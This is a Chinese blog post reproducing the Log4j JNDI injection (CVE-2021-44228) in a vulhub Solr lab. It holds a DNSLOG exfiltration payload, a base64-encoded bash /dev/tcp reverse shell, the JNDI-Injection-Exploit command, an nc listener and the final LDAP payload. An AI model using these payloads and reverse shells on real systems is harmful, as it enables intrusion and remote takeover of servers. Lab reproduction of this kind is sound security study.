当前位置: 首页 > article >正文

Apache Log4j漏洞复现

所用环境

宝塔云服务器

log4j2 是Apache的⼀个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。

apache log4j通过定义每⼀条日志信息的级别能够更加细致地控制日志⽣成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失。

一、启动靶场容器并在浏览器中进行访问

#启动命令
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
docker ps

这里看到我们的容器端口为8983,在浏览器中访问该地址

这里我们访问成功

二、用dnslog测试注入效果

访问dnslog.cn获取一个新的链接

可以发现 /solr/admin/cores?action= 这里有个参数可以传,可以按照上面的原理 先构造⼀个请求传过去存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在DNSLOG 平台上那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号!

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.0ww7ad.dnslog.cn}

刷新一下便看到了java的版本号

三、开始反弹Shell

# JDNI项⽬地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

# 反弹shell
bash -i >& /dev/tcp/172.16.1.159/6666 0>&1
  
# 反弹Shell-base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xNTkvNjY2NiAwPiYx

# 命令模板
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]
  
# 最终Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xODYvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A "172.16.1.186"
  
# 备注
-C后⾯的参数是要执⾏的命令以及编码⽅式,-A后⾯就是对应ip地址。

这里已经生成了我们的恶意代码类

我们再打开一个终端来监听我们的6666端口

nc -lvvp 6666

拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址...

/solr/admin/cores?action=${jndi:ldap://101.42.118.221:1389/jyvecl}

此时我们就获取了该网站的shell,我们输入ls来看看命令是否被执行

拿下!!!


http://www.kler.cn/a/451120.html

相关文章:

  • OpenAI 12天发布会:AI革命的里程碑@附35页PDF文件下载
  • 大型语言模型(LLMs)演化树 Large Language Models
  • 发际线不断后移,生发液排行榜第一名,让绒毛碎发爆出来
  • YOLO模型格式转换:pt -> onnx -> rknn
  • 下载运行Vue开源项目vue-pure-admin
  • 公交车信息管理系统:实现交通数据的智能化处理
  • 对文件内的文件名生成目录,方便查阅
  • es快速扫描
  • 功能全面的跨平台笔记应用:Joplin,开源替代印象笔记与 OneNote
  • CentOS下,离线安装vscode的步骤;
  • Unity开发哪里下载安卓Android-NDK-r21d,外加Android Studio打包实验
  • 创建vue2项目或vue3项目超详细!
  • Spring Boot教程之三十一:入门 Web
  • [机器学习]XGBoost(2)——目标函数(公式详解)
  • Elasticsearch-脚本查询
  • 从测试服务器手动热部署到生产环境的实现
  • 个人笔记:ORM数据库框架EFCore使用示例,运行通过,附源码
  • LeetCode 59. 螺旋矩阵 II (C++实现)
  • 算法——二分查找
  • 图的最短路径(C++实现图【4】)
  • Docker、containerd、安全沙箱、社区Kata Containers运行对比
  • 【基于rust-wasm的前端页面转pdf组件和示例】
  • ant design学习记录:响应式尺寸头像大小 Avatar
  • react杂乱笔记(一)
  • 【数据库】SQL应该如何针对数据倾斜问题进行优化
  • 部署开源大模型的硬件配置全面指南